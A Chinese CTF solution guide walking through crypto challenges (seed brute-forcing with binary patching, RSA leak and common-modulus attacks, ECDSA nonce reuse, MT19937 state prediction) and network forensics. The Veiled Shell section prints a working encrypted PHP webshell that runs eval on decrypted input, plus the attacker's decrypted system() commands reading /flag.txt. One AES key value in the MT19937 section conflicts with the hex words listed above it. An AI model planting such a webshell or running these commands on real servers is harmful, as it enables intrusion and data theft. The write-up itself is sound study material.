- 题面：详情页没有文字简介；附件提供一个 Linux x86-64 PIE ELF 和名为 `output` 的文本样本。
- 附件目录：C:\Users\mzj\Desktop\CTF\Tch3s-附件
- 原二进制 SHA-256：03d7248be820b1dab28d1ad3754c1bc81c8b1894b432abaa701538b40f505ab6
- `output` 长度：21,319,816 字节，约 100,000 组测试明密文；原文件 SHA-256：6cfa28bb5df2b65205a16ac6b33a1bc74efd1ad84f10d6dd22fa1f55f35300eb

附件输出开头给出 `encrypted flag:`，之后每组包含 `Test N plaintext`、`Test N encrypted` 与 `Test N decrypted`。第一组明文为 720B4455C91B6A024135343386B6679D。程序字符串中出现 `FLAG`、`Error: FLAG environment variable not set`、默认测试值和 `encrypted flag:`，说明程序从环境变量读取待加密内容，并会用其内置解密函数还原测试样本。

反汇编发现主函数在 0x15c1 调用 `time(NULL)`，紧接着在 0x15c8 调用 `srand`；随后循环调用 `rand()` 生成 16 字节密钥。测试明文也由 `rand() % 256` 生成。因此附件中的测试明文可用于穷举 Unix 秒级种子：每个候选种子先跳过生成密钥的 16 次 `rand()`，再检查后续 16 个低字节是否与已知明文完全相同。

密码函数是自定义的 16 字节分组变换：有 16 字节异或、四张字节替换表、行移位和线性混合，含 10 轮变换与派生轮密钥。0x27b4 构造轮密钥，0x30ba 加密分组，0x31a1 解密分组。关键突破不是暴力破解 128 位密钥，而是种子取自秒级时间且输出暴露了由同一 PRNG 生成的明文。

1. 从附件目录检查二进制与输出文件，并把文件复制到工作目录的 ASCII 文件名，避免 Windows 中文路径传入 MSYS `objdump` 时被替换成问号。最初直接对中文路径运行 `objdump` 失败，错误信息也保留在完整 transcript 中。2. 使用 `strings` 找到环境变量 `FLAG`、默认测试 `flag` 与输出提示；使用 `obj`

`dump -d -M intel` 按地址查看函数，重点检查 `0x15c1` 的 `time/srand`、`0x27b4` 密钥扩展、`0x30ba` 加密和 `0x31a1` 解密。完整命令与输出见终端 transcript。3. 先在附件修改时间附近的小区间试种子，没有匹配。之后将 C 搜索程序限制在 2025-01-01 至 2025-10-31 UTC，并用明文头 4 字节快速过滤；遇到前 4 字节相符时再核验完整 16 字节。4. 搜索结果：MATCH seed=1753843495，即 2025-07-30 02:44:55 UTC。候选生成的完整首组明文与附件一致：720B4455C91B6A024135343386B6679D。5. 为利用内置解密函数，复制原二进制为 Tch3s-recover，只改工作副本：把 `time()` 调用替换成固定种子；把处理环境变量内容的分组函数调用从加密地址改为解密地址；把测试循环上限改为 0，避免每次复现打印 100,000 组。原附件 Tch3s.bin 未修改。6. 用 FLAG 环境变量传入 encrypted flag 的原始二进制内容（先将十六进制文本转换成字节），让副本调用 `0x31a1` 解密。为避免本地多分组调用出现第二块异常，分别对两个 16 字节密文块单独运行同一副本：

- 第 1 块密文：B789EB607A91D08888E2C4C4E4D9573F
- 解密输出：666C61677B74696D316E675F61377440，ASCII 为 flag{tim1ng_a7t@
- 第 2 块密文：F5333E4783390B91EDB9D2B4FD2A5FC0
- 解密输出：636B5F31735F64616E6765726F75737D，ASCII 为 ck_1s_dangerous} 7. 拼接得到候选：flag{tim1ng_a7t@ck_1s_dangerous}。这里保留题目中的数字与符号原样，不能自行“纠正”为普通英文拼写。
- 第一次补丁脚本把 x86 指令开头误写成 4 个字节，覆盖后续机器码，临时副本以退出码 -11 崩溃；修正为单字节 `b8` 后，副本正常运行。该失败未影响原始文件。
- 完整 32 字节密文一次性送入解密副本时，首块可读、次块异常；此本地多块调用差异尚未完全定位，故指南明确保留它，不把一次完整调用的异常输出隐去。
- 后续单块复现中的随机测试密文输出与原始附件曾不一致；已知测试明文仍一致。

MATCH seed=1753843495

seed utc 2025-07-30T02:44:55+00:00

第 1 块解密：666C61677B74696D316E675F61377440

第 2 块解密：636B5F31735F64616E6765726F75737D

完整命令、反汇编输出、种子搜索和补丁试错过程见 记录/题目记录/密码学/286_Tch3s/原始分件/第九届XCTF-Tch3s-解题记录.md 及对应题目资料目录。

2.2 2025 鹏城杯-babyRSA (ID #358)

题目信息：玄机 ID #358；类型 Crypto；难度中等。

零基础知识点： RSA 的公开模数满足 $n=pq$ 。连分数可恢复足够精确的有理数近似；高精度小数必须保留为文本或有理数，转成浮点数会丢失关键位。

- 附件：题目资料\babyRSA\附件\task.py，SHA256：5208DCEEA3A61D0A100C71CEC66E83C8472F01CE00C053C6F4918C0FF337D2FE。

脚本构造 RSA：生成 1024 位素数 p 、 q ，保证 $p > q$ ；加密 m 得 c ，并给出 d 、 c 以及高精度小数 $leak$ 。题目提示“参数咋这么少呢？”，关键是利用泄漏恢复 p/q ，再由 d 直接解密。

附件还把 $leak$ 、 d 、 c 的十进制值写在注释中；分析时读取这些已给数据，不需要联网。

附件代码计算：

```
leak = (3*p*p - 1) / (3*p*q)
      = p/q - 1/(3*p*q)
```

因此 $leak$ 非常接近有理数 p/q ，且略小于它。 p 、 q 是 1024 位素数，所以 $2^{1023} \leq q < 2^{1024}$ ，泄漏公式的误差满足：

$$0 < p/q - leak = 1/(3*p*q) < 1/(3*q^2) < 1/(2*q^2)$$

连分数有理逼近定理说明：若有理数逼近误差小于 $1/(2q^2)$ ，该分数必是原数的某个连分数收敛分数。附件给出 1024 位有效数字；十进制舍入误差远小于上面的界，因此可用最大分母 $2^{1024}-1$ 做有理重构，恢复既约分数 p/q 。两个素数不同且互素，所以分子、分母就是 p 、 q 。

1. 从玄机题目页确认下载附件并记录 SHA-256。2. 查看 `task.py`：脚本公开了 $leak$ 、 d 、 c 的十进制注释值； p 、 q 用 1024 位素数生成。题目并非缺少全部参数，而是希望从 $leak$ 还原因子。3. 把十进制 $leak$ 作为精确分数输入 `Fraction`，调用 `limit_denominator(2^{1024}-1)`。有理重构得到的分子、分母即 p 、 q 。4. 检查 p 、 q 位数均为 1024、 $p > q$ 、 $\gcd(p,q)=1$ ；随后算 $n=p*q$ 。5. 已知 RSA 私钥指数 d 和密文 c ，直接计算 $m=c^d \bmod n$ ；将整数 m 转成大端字节，得到明文 `flag`。

以下是复现核心逻辑（省去附件中的长十进制常量，运行时从 `task.py` 注释读取）：

```
from fractions import Fraction
import re
from pathlib import Path

s = Path('task.py').read_text()
leak = re.search(r'#leak = ([0-9.]+)', s).group(1)
d = int(re.search(r'#d = (\d+)', s).group(1))
c = int(re.search(r'#c = (\d+)', s).group(1))
r = Fraction(leak).limit_denominator((1 << 1024) - 1)
p, q = r.numerator, r.denominator
n = p * q
m = pow(c, d, n)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
```

核心计算输出如下：

```
leak decimal digits = 1024
p bit length = 1024, q bit length = 1024
p > q = True, gcd(p,q) = 1
n bit length = 2048
plaintext hex = 666c61677b746831735f31735f345f747572655f666c34677d
plaintext bytes = b'flag{this_is_4_ture_fl4g}'
plaintext ascii = flag{this_is_4_ture_fl4g}
```

重新按 Decimal 精度 1024 计算泄漏后，结果与附件注释一致；素数位数也符合 1024 位范围。

- **Fraction** 必须从十进制字符串构造，保留小数的精确有理表示；若先转成二进制浮点数，会丢失所需精度。
- 最大分母要按题目给出的因子位数设为 $2^{1024}-1$ ，不能用小默认值。
- $p > q$ 与 $\gcd=1$ 是恢复方向和既约性的校验； n 的位长应为 2048。
- 本题给了 d ，恢复因子后无需求 e ，也无需破解私钥。
- 附件 SHA256: 5208DCEEA3A61D0A100C71CEC66E83C8472F01CE00C053C6F4918C0FF337D2FE;

2.3 第三届“长城杯”初赛-EzFlag (ID #367)

题目信息：玄机 ID #367；类型 Crypto；难度中等。

零基础知识点：模运算可以把很大的迭代次数缩小到周期范围。斐波那契数列模 16 有周期，先求 $n \bmod$ 周期，再查表并用正向计算验证。

从玄机附件 ZIP EzFlag_248f149404428676e6aa45e6312d069c.zip 解出一个 20,640 字节 ELF64 小端 x86-64 PIE 文件，SHA-256 为 7BBD540A5B7E688D57EFD7F1175368FA9F934F3C83A1E6262457B870BD0B5996。使用 strings 检查静态字符串，发现输入提示 Enter password、硬编码口令 V3ryStr0ngp@ssw0rd、失败提示 Wrong password!、前缀 flag{ 和查表串 012ab9c3478d56ef。硬编码口令只允许进入 flag 生成逻辑，不是 flag 本身。

objdump -d -C 可见 `f(unsigned long long)` 每次以 $a=0$ 、 $b=1$ 开始，循环 n 次执行 $b=(a+b)\&0xF$ 、 $a=$ 旧 b ，最后返回查表串 $K[a]$ 。因此：

$f(n) = K[F_n \bmod 16]$

其中 F_n 是斐波那契数列。模 16 的斐波那契数列周期为 24，所以先将大种子 n 化为 $n \bmod 24$ ，再索引对应的斐波那契模 16 值。

主函数在 $i=0$ 到 31 共生成 32 个字符，初始 $seed=1$ 。每轮调用 $f(seed)$ 取字符，然后更新：

$seed = (seed * 8 + i + 64) \bmod 2^{64}$

求解器逐项打印 i 、 $seed$ 、 $seed \bmod 24$ 、 F 值、 K 索引和字符。例： $i=0$ 时 $seed=1$ ，查表索引为 1，取字符 1； $i=1$ 时 $seed=72$ ， $72 \bmod 24=0$ ，取 $K[0]=0$ ； $i=2$ 时 $seed=641$ ， $641 \bmod 24=17$ ， $F_{17} \bmod 16=13$ ，取 $K[13]=6$ 。

原始 32 字符串为 106326741d21909f2914769f60219a24。题目程序在字符下标 7、12、17、22 后显示连字符。第一次脚本逐次插入连字符，导致之前插入改变了后续索引，日志中出现了错误中间结果 `flag{10632674-1d21-909f-2914-769f60219a24}`。修正后从原始字符串一次性生成分组，得到：

`flag{10632674-1d219-09f29-14769-f60219a24}`

- 求解器：题目资料/EzFlag_367/solve_ezflag.py
- 附件：题目资料/EzFlag_367/EzFlag

2.4 第二届 CCF 智能汽车大赛 Digital Key UWB (ID #520)

题目信息：玄机 ID #520；类型 Crypto；难度中等。

零基础知识点： ECDSA 两次签名重复使用 nonce 会泄露私钥；先验证签名数据和公钥，再用模运算恢复 nonce 与私钥。SM4-CBC 载荷还需核对 IV 和 PKCS#7 填充。

题目描述给出 BLE 唤醒、UWB 测距和数字钥匙认证签名，要求从车端取证日志中恢复受保护数据。附件为 SQLite 数据库 digital_key_trace.sqlite，SHA-256 为 74BA2CE83C3B7DB4B237FC747B67D4F57492172F42B02B03BDD61E19A1FD6EF3。

meta 表说明曲线为 secp256r1、公钥坐标及 key_hint。auth_signatures 表含 digest_hex、r_hex、s_hex 与 nonce_tag；protected_vehicle_blob 存放 SM4-CBC-PKCS7 密文、IV 和车辆权限数据。两个有效会话是 DK-2026-0729-0007 与 DK-2026-0729-0019，nonce_tag 都是 rng-slot-07。另一条 unknown-relay 会话测距 4890 cm 且状态 reject，属于噪声，不参与恢复。

先对两条记录中的 signed_json 原始 UTF-8 字节重算 SHA-256，结果分别等于数据库内 digest_hex，故记 z1、z2 的摘要来源可信。两条记录曲线和 hash 均为 secp256r1 与 SHA-256；r 都是 67d6db4e0744fe60746c510d6938e64f4a893e64e06b90c2030d1b981ec17d5e，而 s 与消息摘要不同。共同 nonce_tag 与共同 r 指向 ECDSA 随机数重用。

ECDSA 签名关系为：

$$s = k^{-1} * (z + r*d) \bmod n$$

对两条签名分别列式并相减，可以消掉私钥项：

$$\begin{aligned} k &= (z1 - z2) * \text{inverse}(s1 - s2, n) \bmod n \\ d &= (s1*k - z1) * \text{inverse}(r, n) \bmod n \end{aligned}$$

secp256r1 阶 n 为 FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551。由附件数据求得：

$$\begin{aligned} k &= 59fa85c87e39d4fb3078bd32df349af00e88542cf6548625a3c9c5a506f80a11 \\ d &= a71e2c5a98b4214e76f209a1d65e9f34b80d22e4028e624f8be2bfa223934f19 \end{aligned}$$

交叉验证结果包括：两条 digest 与 signed_json 重算摘要相同；从 dG 得到的 secp256r1 公钥与 meta 坐标完全匹配；两个签名标准验签都为真；直接代入两条签名等式的模 n 残差均为零。

key_hint 给出的规则是对固定 32 字节大端私钥字节串求 SHA-256，并截取前 16 字节：

$$\begin{aligned} \text{sm4_key} &= \text{SHA256}(d.\text{to_bytes}(32, \text{big_endian})) [0:16] \\ \text{sm4_key} &= \text{e038de51cc70112dc55ed0d2bd01cd42} \end{aligned}$$

数据库内算法为 SM4-CBC-PKCS7，IV 为 20260729000102030405060708090a0b，base64 密文解码为 128 字节。用 OpenSSL 3 的 SM4-CBC 解密得到 padded 明文，最后一个字节为 0x0b，末尾 11 字节均为 0x0b，PKCS#7 填充正确。移除填充后 JSON 为：

```
{"vehicle": "LFPH0DK202600004", "permission": "digital_key_forensics_result", "flag": "flag{digital_key_uwb_}
↪ nonce_reuse}"}
```

VIN 与 meta.vehicle_vin 一致。再用相同 key、IV 和 PKCS#7 把 JSON 重加密，得到的 128 字节密文逐字节匹配附件原密文，验证了解密链条。最终 flag 为：

```
flag{digital_key_uwb_nonce_reuse}
```

- 详细 WP：记录/Digital Key UWB-520-WP 草稿.md；
- 求解器和独立校验器：labs\platform\solve_520_digital_key_uwb.py、labs\platform\verify_520_digital_key_uwb.py；代理命令及复核输出：记录/代理-520-附件普查及公式验证.txt。
- ECDSA 公钥匹配、标准验签、SM4 解密与重加密闭环均针对 SQLite 附件独立完成。

2.5 2026 安网杯-五格电文 (ID #586)

题目信息：玄机 ID #586；类型 Crypto；难度中等。

零基础知识点：一个符号表可以把字符映射为固定宽度的二进制数。拼接 bitstream 时要确定位宽、位序和字节边界，并用已知样本先验证映射。

archive.json 的 glyph_plate 有 32 个互不重复的符号。每个符号映射为其索引的 5 位二进制；去掉电文空格后按出现顺序拼 bitstream，再从高位起每 8 位打包为字节并按 UTF-8 解码，末尾不足 8 位的残余不构成完整字节。

先解 sample_wire：13 个符号得到 65 位，取完整字节后应当精确等于 sample_plain，即夜班 OK。样本校验成功后，才按相同映射解 dispatch_wire：

```
sample: 夜班 OK
message: 夜班记录已核对。通行标记 flag{c619020e518c599051efc804f5f84884}
flag: flag{c619020e518c599051efc804f5f84884}
```

命令：python -B labs/platform/solve_five_grid.py，退出码 0。脚本会先断言 32 个符号无重复并验证已知样本。附件及复核记录：labs/platform/attachments/586-five-grid.zip、figures/raw/fig-crypto-15-c2-zip-contents.txt、fig-crypto-16-c2-sample-check.txt、fig-crypto-17-c2-five-grid-run.txt。

2.6 2026 安网杯-联号回执 (ID #587)

题目信息：玄机 ID #587；类型 Crypto；难度中等。

零基础知识点：RSA 共模攻击利用同一个 n 和互素指数。扩展欧几里得给出 Bézout 系数，负指数通过模逆计算；重加密可以验证恢复的明文。

attachments/export.json 中两份 RSA 回执使用同一模数 n 加密同一明文 m , 指数 $e_1=65537$ 、 $e_2=17$ 。扩展欧几里得给出 $-8 \times 65537 + 30841 \times 17 = 1$, 因此 $m = c_1^{(-8) \times c_2} (30841) \bmod n$; 负指数通过模逆实现。

脚本先检查两个 n 一致、gcd 条件成立, 再计算明文; 随后分别以两个指数重加密并比对原密文。最后把 m 按大端序变成 UTF-8。

```
coefficients: -8 30841
message: 联考回执已核验。通行标记 flag{f6d5f18a35d8aa5802b12f7312b18b63}
flag: flag{f6d5f18a35d8aa5802b12f7312b18b63}
```

命令: `python -B labs/platform/solve_receipt.py`, 退出码 0。附件: labs\platform\attachments\587-linked-receipts.zip。字段、Bézout 系数、运行结果见 figures/raw/fig-crypto-21-c4-receipt-fields.txt、fig-crypto-22-c4-bezout.txt、fig-crypto-23-c4-receipt-run.txt。双重重加密核验通过;

2.7 2026 安网杯-密钥生成审计 (ID #588)

题目信息: 玄机 ID #588; 类型 Crypto; 难度困难。

零基础知识点: MT19937 的输出经过 temper 混淆, 但移位与掩码可逆。恢复 624 个状态字后预测密钥, 再做 AES 解密; 正确结果应通过填充和重新加密校验。

- 题目: 2026 安网杯-密钥生成审计, ID #588。
- 附件: originals/密钥生成审计附件.zip, 内有 challenge.py 和 output.txt。原始 ZIP 未修改。
- 本解法只把 challenge.py 当作源码文本读取; 没有运行题目脚本或附件中的可执行文件, 也没有访问公开 Writeup 或联网。

challenge.py 给出完整的生成流程 (FLAG 字面量被替换成 ???):

1. 创建 `random.Random()`, 以 `os.urandom(16)` 转成的 128 位整数作为种子。2. 连续公开 624 次 `getrandbits(32)` 的十进制结果。3. 紧接着再取 4 个 32 位结果, 每个按大端序转成 4 字节并拼成 AES-128 密钥。4. 用该密钥通过 AES-ECB 加密 `pad(FLAG, 16)`, 密文以十六进制放在 `output.txt` 的最后一行。

安全问题在于 Python `random.Random` 使用 MT19937 伪随机数发生器, 不适合生成密钥。把连续 624 个完整 32 位输出全部公开, 足以逆转每次输出上的可逆 temper 变换并恢复当前 624 个状态字。种子原本有 128 位熵也无法补救: 攻击者不需要恢复种子, 只需预测紧接着的输出。

附件核对结果: `output.txt` 恰好 625 个非空行。前 624 行均为 0 至 $2^{32}-1$ 的十进制整数; 末行是 96 个十六进制字符, 即 48 字节、3 个 AES 分组的密文。

运行 `analysis/solve_588.py`。脚本检查行数、整数范围、密文十六进制格式和 AES 分组长度, 拒绝格式不符的输入。首个公开数是 611087032, 第 624 个公开数是 3945758924。

MT19937 对内部状态字 x 执行如下可逆变换得到公开值 y :

$$y = x \wedge (x \gg 11)$$

```
y = y ^ ((y << 7) & 0x9D2C5680)
y = y ^ ((y << 15) & 0xEFC60000)
y = y ^ (y >> 18)
```

逆变换按相反次序处理移位, 并通过重复代入消除被异或的高位或低位: 右移 18、带掩码左移 15、带掩码左移 7、右移 11。脚本对 624 个输入全部执行 `temper(temper(y)) == y`, 结果为 PASS (624/624)。

Python 状态 API 的状态格式为 (version, 624 个状态字 + index, gauss_cache)。将逆 temper 得到的 624 个状态字装入 `random.Random.setstate((3, tuple(words + [624]), None))`。索引 624 表示这一整块输出已经消耗; 下一次抽取会执行 MT19937 的 twist, 随后得到原生成器的第 625 个输出。

为避免状态边界的 off-by-one, 脚本用独立的固定种子测试流生成 628 个输出, 只把前 624 个交给克隆器, 然后确认克隆器预测的第 625–628 个值与参考流完全一致。测试通过。对附件数据得到:

```
2372119022, 1272119227, 2846020694, 1107164319
```

程序按大端序拼接这四个 32 位值:

```
2372119022 = 0x8D63A9EE
1272119227 = 0x4BD2FFBB
2846020694 = 0xA9A2D456
1107164319 = 0x41FDFC9F
AES-128 key = 8d63a9ee4bd2ffbba9a2d45641fdcf9f
```

以上过程由纯 Python 标准库实现, 不需要安装 PyCryptodome。系统上的 Python 是 3.12.10; 本机未安装 Crypto 模块, 因此 AES 解密采用 Windows PowerShell/.NET 的系统密码学库。

`analysis/decrypt_588.ps1` 读取上一步写出的 `derived_material.json`, 使用 AES-128、ECB、无自动填充解密 48 字节密文, 再手工验证并移除 PKCS#7 填充。末尾字节为 0x0A, 连续 10 个字节均为 0x0A, 故移除 10 字节后剩 38 个 ASCII 字节。结果符合 `flag{...}` 格式:

```
flag{2db163a20ecc0e6a27ce588669211a2e}
```

最后将解密得到的 48 字节 (含填充) 重新 AES-ECB 加密, 结果与附件密文逐字节相等, REENCRYPTION_ROUNDTRIP=PASS。这验证密钥、模式、字节序及解填充长度相互一致。

静态候选: `flag{2db163a20ecc0e6a27ce588669211a2e}`

完整数据链为: 624 个连续 MT19937 输出 → 逆 temper 恢复状态 → 预测后续四个 32 位值 → 大端拼成 AES 密钥 → AES-ECB 解密 → 验证 PKCS#7 并得到标准 flag。

在 Windows PowerShell 中, 从题目目录运行:

```
$D = 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\密钥生成审计_588'
python (Join-Path $D 'analysis/solve_588.py')
powershell -NoProfile -ExecutionPolicy Bypass -File (Join-Path $D 'analysis/decrypt_588.ps1')
```

完整逐步输入/输出、环境检查和调试记录见 `analysis/session_transcript.txt`; 最终脚本输出分别保存在 `analysis/solve_588_output.txt` 与 `analysis/decrypt_588_output.txt`。首轮自检和本机 .NET API 兼容性调试失败也保留在总 transcript 中, 最终修正版两步退出码均为 0。

- 候选: `flag{2db163a20ecc0e6a27ce588669211a2e}`

第三章

杂项与数字取证（MISC）

本类知识点：杂项取证先识别文件结构和传输协议，再依据证据选择提取方法；题面提示是线索，最终答案仍需由附件数据验证。

3.1 2026 安网杯-Veiled Shell（ID #580）

题目信息：玄机 ID #580；类型 MISC；难度简单。

零基础知识点：PCAP 是网络抓包文件；TCP 数据可能被拆成多个包，需按序号重组。Base64 只是编码，AES-CBC 才是加密，解题时要分清每一层。

- 题目：2026安网杯-Veiled Shell
- 题目 ID：580
- 题目目标：从附件恢复 Flag。
- 本题附件：incident_traffic.pcap
- 本记录的结论：已从 HTTP 流量中恢复 Flag；

2. 在 D:\Downloads 找到新下载的 Veiled+Shell附件 (2).zip，大小 7,404 字节。目录中另有一个较早下载的 (1) 文件。3. 对比两个 ZIP 的 SHA-256：均为 402954C3AFE63A36482472141CEE24BDCE40C935F58AEE6F2986131C9523D23E，所以内容相同。4. 查看 ZIP 目录，仅有 incident_traffic.pcap：原始长度 23,394 字节，压缩长度 7,192 字节。5. 将 PCAP 解压到 C:\Users\mzj\Desktop\CTF\Veiled Shell-附件\incident_traffic.pcap。解压后的 SHA-256 为 BEB0179DB35C9BCAF71F4F08DB4FF8F6F740B6F5D182C0A55834F475061FECCF。

使用的本机检查命令：

```
Get-ChildItem -LiteralPath 'D:\Downloads' -File |  
Sort-Object LastWriteTime -Descending |  
Select-Object -First 12 Name,Length,LastWriteTime  
  
$z = [IO.Compression.ZipFile]::OpenRead('D:\Downloads\Veiled+Shell 附件 (2).zip')  
try { $z.Entries | Select-Object FullName,Length,CompressedLength }  
finally { $z.Dispose() }
```

```
$dst = 'C:\Users\mzj\Desktop\CTF\Veiled Shell-附件'
if (-not (Test-Path -LiteralPath $dst)) {
    New-Item -ItemType Directory -Path $dst | Out-Null
}
Expand-Archive -LiteralPath 'D:\Downloads\Veiled+Shell 附件 (2).zip' `
    -DestinationPath $dst -Force

Get-FileHash -LiteralPath `
    'D:\Downloads\Veiled+Shell 附件 (1).zip', `
    'D:\Downloads\Veiled+Shell 附件 (2).zip', `
    'C:\Users\mzj\Desktop\CTF\Veiled Shell-附件\incident_traffic.pcap' `
    -Algorithm SHA256 | Format-List Path,Hash
```

读取 PCAP 头后确认：经典 PCAP 2.4、小端序、Ethernet 链路类型、snaplen 65,535。逐条解析记录得到 **147 个包**，全部为 **TCP**。所有有效会话集中在 172.28.0.20 与 172.28.0.10:80 之间，HTTP Host 为 **www.corp.internal**，未看到 TLS。

这一结果说明重点应放在重组 TCP 会话并检查 HTTP 请求/响应，而不是寻找 DNS、附件或加密隧道。

时间戳依据 PCAP 与 HTTP Date 字段。客户端是 172.28.0.20，Web 服务器是 172.28.0.10:80。

- 时间（服务器 HTTP Date）：02:25:25、02:25:27；流量 / 观察：GET /index.php，均返回 200；判断：正常页面访问/探测
- 时间（服务器 HTTP Date）：02:25:28；流量 / 观察：GET /uploads/ 返回 403；判断：目录浏览被禁止；但不能据此认为目录不可写或其中脚本不可访问
- 时间（服务器 HTTP Date）：02:25:31；流量 / 观察：POST /index.php，multipart 文件名 shell.php，类型 application/x-php；判断：上传了 PHP 文件，是关键异常行为
- 时间（服务器 HTTP Date）：02:25:33、02:25:34；流量 / 观察：GET / 与 GET /index.php；判断：上传后页面访问
- 时间（服务器 HTTP Date）：02:25:36 起；流量 / 观察：多次 POST /uploads/shell.php，客户端为 Java 1.8.0_301；判断：访问已上传的 PHP 脚本并发送加密命令

TCP 重组后，上传请求体包含如下 PHP 逻辑（去掉了 multipart 分隔符）：

```
@error_reporting(0);
session_start();
$key = "3f9a7c2e1d8b6045";
$_SESSION['k'] = $key;
$post = file_get_contents("php://input");
if (!extension_loaded('openssl')) {
    $t = "base64_" . "decode";
    $post = $t($post . "");
    for ($i=0; $i<strlen($post); $i++) {
        $post[$i] = $post[$i] ^ $key[$i+1&15];
    }
}
```

```

} else {
    $post = openssl_decrypt($post, "AES128", $key);
}
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
class C {
    public function __construct($k) { $this->k = $k; }
    public function __invoke($p) {
        ob_start();
        eval($p);
        $r = ob_get_clean();
        echo openssl_encrypt(base64_encode($r), "AES128", $this->k);
    }
}
@call_user_func(new C($key), $params);

```

判断依据:

1. 脚本从原始 HTTP 请求体读取数据: 有 OpenSSL 时调用 `openssl_decrypt(..., "AES128", $key)`。2. 密钥是 16 个 ASCII 字节: `3f9a7c2e1d8b6045`。未传 `options`, 所以请求数据按 Base64 密文处理; AES128 默认对应 AES-128-CBC/PKCS#7。脚本没有显式传 IV; 用 16 个零字节 IV 解密后得到合理 PHP 命令, 且响应能按同一参数反向解密, 验证了这个推断。3. 解密明文以 `|` 分割, 实际传给 `eval` 的是第二段。因此网络明文形如 `assert|system('id');`, 被执行的是 `system('id');`。4. 命令执行结果先 Base64 编码, 再用同一 AES 参数加密回传。部分 HTTP 响应又被 gzip 压缩, 因此还需先按响应头 gzip 解压, 再做 AES 解密和 Base64 解码。

从各 TCP 流重组出请求体后, 依次 Base64 解码、AES-128-CBC 解密、PKCS#7 去填充, 得到如下明文。服务端回包按 gzip (若响应头声明)、Base64、AES、Base64 的顺序还原:

- 客户端口 / 时间: 35272 / 02:25:36; 解密出的请求明文: `assert|system('id');`; 解密后的服务端输出: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; 用途: 确认命令以 Web 服务用户运行
- 客户端口 / 时间: 35274 / 02:25:38; 解密出的请求明文: `assert|system('whoami');`; 解密后的服务端输出: `www-data`; 用途: 与 id 输出相互印证
- 客户端口 / 时间: 35282 / 02:25:40; 解密出的请求明文: `assert|system('hostname');`; 解密后的服务端输出: `web-prod-01`; 用途: 确认主机名
- 客户端口 / 时间: 59568 / 02:25:42; 解密出的请求明文: `assert|system('ls -la /var/www/html');`; 解密后的服务端输出: `index.php` 与 `uploads/`; 用途: 确认站点目录结构
- 客户端口 / 时间: 59580 / 02:25:45; 解密出的请求明文: `assert|system('ls -la /var/www/html/uploads');`; 解密后的服务端输出: `shell.php`; 用途: 确认上传文件已经落盘
- 客户端口 / 时间: 59586 / 02:25:46; 解密出的请求明文: `assert|system('ls /');`; 解密后的服务端输出: 根目录列表中有 `flag.txt`; 用途: 定位目标文件
- 客户端口 / 时间: 59594 / 02:25:49; 解密出的请求明文: `assert|system('cat /flag.txt');`; 解密后的服务端输出: `flag{bcb5e1538d12162510d5297a43fa8fcf}`; 用途: 直接取得 Flag

Python 解密核心 (本机已有 cryptography):

```
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7

key = b"3f9a7c2e1d8b6045"
iv = bytes(16) # 对脚本未提供的 CBC IV 按零填充进行验证

def aes128_cbc_decrypt(base64_ciphertext: bytes) -> bytes:
    ciphertext = base64.b64decode(base64_ciphertext)
    decryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
    padded = decryptor.update(ciphertext) + decryptor.finalize()
    unpadder = PKCS7(128).unpadder()
    return unpadder.update(padded) + unpadder.finalize()

request_plaintext = aes128_cbc_decrypt(b"< 从 HTTP 请求体取出的 Base64 密文>")
print(request_plaintext.decode())
```

解密最后一条请求先得到 `assert|system('cat /flag.txt');`。最后一条响应经过 gzip 解压后, 是 Base64 格式的 AES 密文; 先 AES 解密, 再 Base64 解码, 明文为 `flag{bcb5e1538d12162510d5297a43fa8fcf}\n`。

这是一次通过 HTTP 上传加密 PHP WebShell 的行为。攻击者从 172.28.0.20 向 `www.corp.internal` 上传 `shell.php`, 随后通过加密请求控制 Web 服务器 `web-prod-01`。命令以 `www-data` 运行, 逐步枚举 Web 目录和根目录, 最后读取 `/flag.txt`。Flag 的来源是抓包中的加密命令回包解密结果, 不是猜测或凭空推断。

最终候选 flag:

```
flag{bcb5e1538d12162510d5297a43fa8fcf}
```

- 附件: `C:\Users\mzj\Desktop\CTF\Veiled Shell-附件\incident_traffic.pcap`
- 本指南: `C:\Users\mzj\Desktop\CTF\Veiled Shell-解题记录.md`
- 像素囚笼 1 的完整分析记录已并入本指南对应章节。
- 本文中的命令、会话时间线、解密明文和命令输出均来自本次附件检查;

3.2 2026 安网杯-外泄流量取证 (ID #581)

题目信息: 玄机 ID #581; 类型 MISC; 难度中等。

零基础知识点: 取证重组 TCP 流要检查 sequence number 和数据缺口; HTTP multipart 有边界标记。恢复图片后, LSB 隐写还要确定颜色通道、位序和结束符。

ZIP 中的经典 PCAP 内有一次图片上传。求解器先检查 PCAP magic、Ethernet link type, 再解析 IPv4/TCP, 按 TCP sequence number 排序重组 payload。定位 POST `/upload.php` 后, 解析 multipart boundary, 从其中提取 `screenshot_2026-03-29.png`。

恢复的流是 172.20.0.6:60244 -> 172.20.0.2:80, 图像大小 200×200、RGB。按像素行优先取每个像素 R 通道最低位, 按 MSB-first 每 8 位打包, 并在 NUL 处截断:

```
flow: 172.20.0.6:60244 -> 172.20.0.2:80
upload: screenshot_2026-03-29.png
image: (200, 200) RGB
flag: flag{3b0dc3022a1a3d1ddc12653ae4948cdd}
```

命令: `python -B labs/platform/solve_581_network_forensics.py`, 退出码 0; 需 Pillow。求解器还会拒绝不完整 PCAP、TCP 流缺口或缺失目标请求。复原图保存于 `labs/platform/attachments/581-network-forensics/screenshot.png`; 输出和独立 LSB 复核见 `figures/raw/fig-misc-10-581-solve.txt`、`fig-misc-11-581-lsb-recheck.txt`。此为本地复现记录。

3.3 2026 安网杯-像素囚笼 1 (ID #583)

题目信息: 玄机 ID #583; 类型 MISC; 难度简单。

零基础知识点: PNG 图片后面可以附加 ZIP 数据。ZIP 标志位只是元数据, 不能单独证明载荷已加密; 直接验证压缩流, 并用长度、CRC32 和文件头交叉检查。

- 附件已由用户解压: `D:\Downloads\像素囚笼附件 (1)\challenge.png`。解压目录只有这一个文件。
- 在画图中查看到 PNG 图像尺寸 512 × 512 像素, 文件约 5.1 KB; 资源管理器显示 6 KB (四舍五入显示)。

